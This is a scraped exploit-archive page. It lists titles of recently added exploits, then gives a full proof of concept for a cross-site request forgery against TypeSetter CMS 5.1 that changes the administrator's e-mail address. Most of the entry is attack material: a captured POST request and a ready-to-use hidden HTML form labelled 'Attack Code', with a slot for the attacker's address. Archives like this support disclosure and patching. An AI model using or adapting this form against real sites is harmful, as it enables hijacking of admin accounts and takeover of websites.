4b9e53700f
18 changes to exploits/shellcodes 10-Strike Network Inventory Explorer 8.65 - Buffer Overflow (SEH) EPSON Status Monitor 3 'EPSON_PM_RPCV4_06' - Unquoted Service Path Global Registration Service 1.0.0.3 - 'GREGsvc.exe' Unquoted Service Path Pearson Vue VTS 2.3.1911 Installer - VUEApplicationWrapper Unquoted Service Path Intel(r) Management and Security Application 5.2 - User Notification Service Unquoted Service Path TypeSetter 5.1 - CSRF (Change admin e-mail) Joomla! Component GMapFP 3.5 - Unauthenticated Arbitrary File Upload Wordpress Plugin EventON Calendar 3.0.5 - Reflected Cross-Site Scripting Online Shopping Alphaware 1.0 - Error Based SQL injection Pharmacy/Medical Store & Sale Point 1.0 - 'email' SQL Injection Setelsa Conacwin 3.7.1.2 - Local File Inclusion Multi Restaurant Table Reservation System 1.0 - Multiple Persistent XSS Tailor Management System 1.0 - Unrestricted File Upload to Remote Code Execution LEPTON CMS 4.7.0 - 'URL' Persistent Cross-Site Scripting Medical Center Portal Management System 1.0 - 'login' SQL Injection Pandora FMS 7.0 NG 749 - Multiple Persistent Cross-Site Scripting Vulnerabilities # Date: 11-14-2020 Social Networking Site - Authentication Bypass (SQli) Tendenci 12.3.1 - CSV/ Formula Injection
68 lines
No EOL
2 KiB
Text
68 lines
No EOL
2 KiB
Text
# Exploit Title: TypeSetter 5.1 - CSRF (Change admin e-mail)
|
|
# Exploit Author: Alperen Ergel
|
|
# Software Homepage: https://www.typesettercms.com/
|
|
# Version : 5.1
|
|
# Tested on: Kali & ubuntu
|
|
# Category: WebApp
|
|
|
|
######## Description ########
|
|
|
|
Attacker can change admin e-mail address
|
|
|
|
## Vulnerable
|
|
|
|
- Go to the admin page view preferences
|
|
- Change the e-mail address
|
|
|
|
######## Proof of Concept ########
|
|
|
|
===> REQUEST <====
|
|
POST /typesetter/Admin/Preferences HTTP/1.1
|
|
Host: http://localhost/
|
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
|
|
Accept-Language: en-US,en;q=0.5
|
|
Accept-Encoding: gzip, deflate
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Content-Length: 237
|
|
Origin: http://localhost/
|
|
Connection: close
|
|
Referer: http://localhost/typesetter/Admin/Preferences
|
|
|
|
## < SNIPP >
|
|
|
|
|
|
verified=6cab21b263dafc079bc056b7e0f0610c37d1a5af46f252e24d537afa906baed776c370cb24709d8795842c0a86eb2d76e4300d529ebb5c0840fd5096c96c748c
|
|
&email=demo%40mail.com&oldpassword=&password=&password1=&algo=password_hash&cmd=changeprefs&aaa=Save
|
|
|
|
#### Attack Code ####
|
|
|
|
<html>
|
|
|
|
<body>
|
|
|
|
<form action="http://localhost/typesetter/Admin/Preferences" method="POST">
|
|
|
|
<input type="hidden" name="verified" value="6cab21b263dafc079bc056b7e0f0610c37d1a5af46f252e24d537afa906baed776c370cb24709d8795842c0a86eb2d76e4300d529ebb5c0840fd5096c96c748c" />
|
|
|
|
<input type="hidden" name="email" value="[CHANGE HERE]" />
|
|
|
|
<input type="hidden" name="oldpassword" value="" />
|
|
|
|
<input type="hidden" name="password" value="" />
|
|
|
|
<input type="hidden" name="password1" value="" />
|
|
|
|
<input type="hidden" name="algo" value="password_hash" />
|
|
|
|
<input type="hidden" name="cmd" value="changeprefs" />
|
|
|
|
<input type="hidden" name="aaa" value="Save" />
|
|
|
|
<input type="submit" value="Submit request" />
|
|
|
|
</form>
|
|
|
|
</body>
|
|
|
|
</html> |